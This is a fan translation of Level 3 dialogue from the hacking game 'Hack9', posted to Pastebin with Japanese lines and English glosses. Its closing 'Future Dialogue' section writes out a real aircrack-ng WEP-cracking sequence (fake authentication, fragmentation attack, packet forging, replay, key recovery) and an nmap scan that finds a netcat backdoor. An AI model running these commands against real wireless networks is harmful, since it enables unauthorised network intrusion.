Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- *********************************************
- Hack9 Version 1.01 Windows 10 Translation
- Date: 2017/04/xx
- Translated by: anonymous
- Main Text Translated:
- Level 3: Underground City
- Other Text Translated:
- -Future dialogue
- *********************************************
- [When you arrive on the other side of the Level 3 entrance from level 2, and use the PC]
- UNIXベースのたんまつがある // It's a Unix-based terminal
- あつかいやすいインターフェイスになっている// with a user-friendly interface.
- どうやらとびらをせいぎょしているようだ // It seems to control the door.
- スノートはとびらをあけた // Snort opened the door.
- スノートはとびらのパスワードをへんこうした // Snort changed the door's password.
- [When you obtain an Ice Sword from the permanent crate]
- 「アイスソード」をてにいれた! // You obtained the Ice Sword!
- [When you reach the large pitfall down to level 4 you get a transmission from CHIEF]
- [Note: This can occur before you meet the Administrator]
- しゅにん「スノート、きゅうなつうしんですまない //Chief: Snort, this is a bit abrupt, but
- ドクガスのネットワークのことでてつだってもらいたいことがあるんだ //There's something about the PGA network
- I need your help with.
- さきほどきみがもってきたぶんしょうをもとに4かいそう// I used the documents you brought to check out
- までのネットワークをしらべていたんだが// the network up to the 4th level,
- 5かいそうのファイアーウォールがすべてのじょうほうを// but the 5th level firewall
- しゃだんするじょうたいになっていたんだ// has cut off all outside access.
- つまり、5かいそうからさきにアクセスできない // I essentially can't access anything on the 5th level.
- ほぼ(せつだん)じょうたいなんだ// I'm more or less completely shut out here.
- そこで、きみにうちがわからファイアーウォールをそうさして // I want you to get in there
- and disable the firewall from within,
- 5かいそうへアクセスできるようにしてもらいたい」 // so we can access the fifth level.
- じょしゅ「しかし、しゅにん //Assistant: But Chief,
- 5かいそうのパソコンはげんじゅうな(げんしろ)のなかにあるため// The PC's on the 5th floor are inside the nuclear reactor.
- いままでのようにちょくせつそうさすることができません」// You can't access them physically this time.
- しゅにん「じつは5かいそうへのつうろは //Chief: As it happens, through the firewall is not the only
- ファイアーウォールからだけではない //entry to the 5th level.
- 3かいそうからでもむせんでアクセスできるばしょがあるようなんだ」 // There's also a wireless access point
- on the 3rd level that we could use.
- じょしゅ「あるよう?」 //Assistant: There is?
- しゅにん「たしかめようにも3かいそうには//Chief: The problem is, the 3rd level
- むせんでアクセスできるパソコンがないんだ、//doesn't have any wireless capable PC's,
- だからここからそんざいをかくにんできない //so we can't try it ourselves.
- そこでスノート、 //That means, Snort,
- ぼくのかわりにさがしてもらいたい//that I want you to find one for me.
- まずは(ノートパソコン)をみつけてくれ、//First things first, you'll need to find a laptop.
- みつけたらまたつうしんしてほしい」// Contact me once you do.
- [When you reach the level 5 entrance via level 3 without having hacked the entrance lock]
- UNIXベースのたんまつがある // It's a Unix-based terminal
- あつかいやすいインターフェイスになっている// with a user-friendly interface.
- バイオメトリクスによりでいりぐちをかんりしているようだ // The entrance is secured with biometric authentication.
- しゅにん「とびらをあけるには //Chief: You could get the door open more efficiently
- サーバルームのシステムをそうさしたほうがはやい//from the server room.
- まずはサーバルームへアクセスするほうほうをさがそう」//You'll need to find a way in there.
- [When you encounter the Administrator for the first time] {Note: In order to meet her, Douglas has to be defeated first}
- ?「わたしはニチナンからのしゅっこうしゃいんです//?: I'm on loan from Nichinan.
- ここではドクガスのネットワークかんりをしていました// I've been managing the PGA network here.
- そちらがドクガスのかんけいしゃでないことをみこんでおねがいがあります // You don't look like you're with them.
- Could I make a request?
- わたしはいのちをねらわれています // My life is in danger.
- ほごしていただけないでしょうか」 // Would you consider granting me your protection?
- たいちょう「スノート、//Commander: Snort,
- だれにもわれわれのじょうほうをおしえるわけにはいかない// We can't divulge any information to anyone, no exceptions.
- ほごはしないことをつたえてくれ」// Tell her we can't agree to that.
- スノートはことわった // Snort refused.
- かんりしゃ「わかりました、//Administrator: I understand.
- そちらのじじょうをりかいしているつもりです、// You undoubtedly have your reasons,
- ふかくはききません// so I'll refrain from prying further.
- こちらのじょうほうとドクガスほんぶからのだしゅつほうほうを // Then perhaps we might strike a different bargain?
- こうかんするじょうけんではどうでしょうか」// My information on this complex for
- a way to escape from this place.
- たいちょう「それくらいのじょうほうならいいだろう // Commander: That much we can afford to tell her.
- はなせ」// Let her go.
- スノートはあんぜんなだしゅつほうほうをおしえた*//Snort told her a way to escape safely.
- かんりしゃ「ありがとう」// Administrator: Thank you.
- しゅにん「5かいそうのじょうほうをきいてくれ //Chief: Ask her about the 5th level.
- もくてきのじょうほうはおそらくそこにある」// That should be most relevant to our objective.
- 5かいそうについて?// What about the 5th level?
- かんりしゃ「5かいそうはげんしろです //Administrator: The nuclear reactor is on the 5th level.
- げんしろへいくにはげんじゅうなセキュリティを// The security along the way
- とおらなければいけません // will be tight.
- めのもうまくや、ゆびのしもんなど // You'll need to pass various biometric authentications,
- バイオメトリクスにんしょうがひつようになります // such as fingerprint and retinal scans.
- かぎられた(けんりしゃ)でなければはいることができません」// Only authorized personnel can get in.
- けんりしゃ?//Authorized?
- かんりしゃ「こべつのIDカード、パスワードをもち、// Administrator: They have their characteristics
- しんたいのとくちょうをにんしょうデータベースにほかんしているものです // recorded in the biometric database, as
- well as their own passwords and ID cards.
- ドクガスのかんぶやニチナンのテストパイロット、//The PGA leadership, Nichinan test pilots,
- ネットワークかんりしゃはけんりをもっています//and network administrators are all authorized.
- わたしもけんりしゃでした//I used to be as well,
- いまはそのけんりをドクガスからぼっしゅうされています」//until the PGA revoked my rights.
- ドクガスのかんぶ?//The PGA leadership?
- かんりしゃ「わたしはくわしくはしりません、//Administrator: I don't have any concrete info,
- かれらはいま、かくほかんこにいます」//except that they're in the
- nuclear vault right now.
- ニチナンのテストパイロット?//Nichinan test pilots?
- かんりしゃ「ニチナンからしゅっこうされたテストパイロットです、// Administrator: Personnel on loan from Nichinan,
- ニチナンのしさくきにのりデータをあつめることがかれらのしごとです // Their task is gathering analyzable usage data
- from operating Nichinan prototypes.
- たいどのわるさからドクガスに(クラッカーぶたい)とよばれています」// Their disagreeable dispositions got them nicknamed
- the "Cracker Corps".
- (クラッカーぶたい)?//"Cracker Corps"?
- かんりしゃ「ニチナンにスカウトされたうでききの//Administrator: A collective moniker for expert AT pilots
- ATのりのあだなです、//scouted by Nichinan.
- おもに3にんでチームをくんでいます // They're primarily comprised of a 3 man team
- なまえはダグラス、オリバー、スコット」// consisting of Douglas, Oliver, and Scott.
- ダグラス?//Douglas?
- かんりしゃ「ダグラスはちかげすいどうにいます」//Administrator: Douglas is in the underground sewer.
- オリバー?//Oliver?
- かんりしゃ「オリバーはちかとしのBブリッジでみかけました」//Administrator: I caught sight of Oliver on the underground city's B-bridge.
- スコット?//Scott?
- かんりしゃ「スコットはおそらく4かいそうにいます」//Administrator: Scott is most likely on the 4th level.
- たいちょう「かのじょがこのネットワークをかんりしていたのか?」//Commander: She administrated this network?
- しゅにん「よくわかりません、//Chief: I'm not sure.
- スノートがもってきたしりょうには// The documents Snort brought in
- かんりしゃのなまえは(9)とだけかかれています」// refer to the admin as only "9".
- (9)?// "9"?
- かんりしゃ「わたしのじょうしです、//Administrator: That's my boss...
- がかれのことはよくわかりません」// but there's very little I know about him.
- たいちょう「もういい、//Commander: That's enough.
- かのじょをかいほうしてやれ」// You can let her go now.
- [After talking to the Administrator, when Snort encounters Oliver at the B-Bridge]
- オリバー「おまえがダグラスを・・・ //Oliver: What you did to Douglas...
- ゆるせん・・・」 // You're dead meat...
- [The scene shifts to the bridge]
- たいちょう「やつもATのりか //Commander: He's an AT pilot too, huh?
- ひきずりだしてじょうほうをてにいれろ」// Get him out of there and make him talk.
- バイヤー「のっているATはコーギドックだが、//Buyer: The AT he's riding is a Corgi Dog,
- そうびしているATようのレッカウランだんだ// equipped with AT use depleted uranium rounds.
- アメリカりくぐんの105ミリほうだん//U.S. Army 105mm shells.
- M735A1とおなじいりょくをもち//They possess the stopping power of an M735A1.
- そのうえ、ねんしょうしたあとウランをひさんさせる」//On top of that, on combustion the
- uranium contained within disperses.
- たいちょう「へたをすれば//Commander: There's a very real risk
- ひばくすることになる//of radiation exposure here.
- きをつけろ、スノート」//Watch out, Snort.
- [After the battle]
- しゅにん「オリバーは// Chief: Doesn't look like Oliver
- 5かいそうのじょうほうを// had anything relevant
- もっていなかったようですね」// on the 5th level.
- (かくほかんこ)にアクセスできるクラッカーぶたいのひとり、// How about Scott then?
- スコットはどうかわかりませんが」//He's the one Cracker who's actually
- authorized to enter the vault.
- たいちょう「さいごのひとりか・・・//Chief: He's the last one, huh...
- スノート、//Snort,
- これいじょうじかんをかけるわけにはいかない、// Time's wasting.
- 4かいそうへいき、//Head to the 4th level,
- スコットをさがすんだ」//and find Scott.
- ---------Future Dialogue
- [The next set of dialogue occurs after a revisit to the wireless lan hotspot on level 3]
- [Requirements: Defeat Scott on level 4, acquire 9's laptop from level 2]
- スノートはノートパソコンにスコットのLANカードをさしこんだ//Snort inserted Scott's LAN card into the laptop.
- スノートはノートパソコンとAPとかんれんしてみようとした//Snort tried accessing the
- Access Point with the laptop.
- #aireplay-ng -1 0
- -a 12:34:56:78:90:AB
- -h 00:FF:FF:FF:FF:FF
- -e WDOKUGAS ath0
- Sending Authentication Request
- Authentication successful
- Sending Association Request
- Association successful :-)
- スノートはノートパソコンとAPとかんれんさせることができた // Snort connected the PC to the Access Point.
- しゅにん「よし、つぎはWEPあんごうをかいどくするために // Chief: Good.
- Fragmentation attackをはじめる」// Next, a fragmentation attack to crack the WEP code.
- #aireplay-ng
- -5 -b 12:34:56:78:90:AB
- -h 00:FF:FF:FF:FF:FF ath0
- Use this packet ? Y
- Saving keystream in
- fragment-0000-0000.xor
- #packetforge-ng
- -0 -a 12:34:56:78:90:AB
- -h 00:FF:FF:FF:FF:FF
- -k 255.255.255.255
- -l 255.255.255.255
- -y fragment-0000-0000.xor
- -w doku
- Wrote packet to: doku
- #airodump-ng
- --bssid 12:34:56:78:90:AB
- --channel 11
- -w /tmp/cap ath0
- #aireplay-ng
- -2 -r doku ath0
- Use this packet ? Y
- Saving chosen packet
- in replay_src-0000-0000.cap
- スノートはかいどくするのにじゅうぶんなデータが // Snort confirmed there was sufficient
- あつまったことをかくにんした // data for deciphering.
- しゅにん「OK、あとはかいどくするだけだ」//Chief: OK, now we just need to crack the password.
- #aircrack-ng -z /tmp/cap
- スノートはかいどくがおわるまでまった // Snort waited until the deciphering finished.
- #KEY FOUND! (ASCII: D4O5KU6G06U)
- #iwconfig eth0
- essid WDOKUGAS
- key D4O5KU6G06U
- #ifconfig eth0
- hw ether 00:FF:FF:FF:FF:FF
- #dhcpcd eth0
- スノートはファイアーウォールにせつぞくしているかかくにんをした // Snort tested for firewall connections.
- #ping 192.168.4.1
- Packets:
- Sent=4, Received=4, Lost=0(0% loss),
- しゅにん「ファイアーウォールはうちがわからはきのうしないはず*、//Chief: The firewall shouldn't block anything
- しんにゅうできないかすみずみまでさがしてくれ」//from the inside. Check for any possible entry points.
- せつぞくしている、//Now connected,
- スノートはしんにゅうするほうほうがないか//Snort tried to find an intrusion point.
- かくにんした//
- # NMAP -sN 192.168.4.1
- 6666/TCP OPEN NETCAT
- しゅにん「NETCAT? これはバックドアだ」//Chief: NETCAT? That's a backdoor.
- じょしゅ「ということはすでにしんにゅうされていたということ?」// Assistant: Does that mean they've
- already been intruded before?
- しゅにん「もしかしたら // Chief: Someone might have used
- このむせんLANをりようしてそうさしていたかもしれない」// this exact WLAN card for it.
- スノートはログをしらべた//Snort examined the log.
- しゅにん「5かいそうのデータベースをなんども//Chief: I'm seeing traces of
- そうさしたあとがのこっている、// repeat database tampering.
- バイオメトリクスのデータベースをそうさしていたようだ」// Namely, the biometrics database.
- たいちょう「よくはわからんがしんにゅうしゃが // Commander: I'm not 100% on this, but
- 5かいそうのセキュリティをつうかできるように // apparently our intruder authorized themselves
- そうさしたのか?」// into the fifth floor?
- しゅにん「スノート、// Chief: Snort,
- ぼくたちもおなじてをつかおう」// Let's do the same.
- スノートはしゅにんからデータをおくってもらい//Snort received the data from Chief,
- それをバイオメトリクスのデータベースにとうろくした//and registered it in the biometrics database.
- スノートはバックドアをがいぶからそうさできるようにせっていした//Snort configured the backdoor
- to accept external access.
- たいちょう「よくやった、// Commander: Good job.
- これでげんじゅうなセキュリティをつうかできるはずだ」// This should get us past the 5th level security.
Add Comment
Please, Sign In to add comment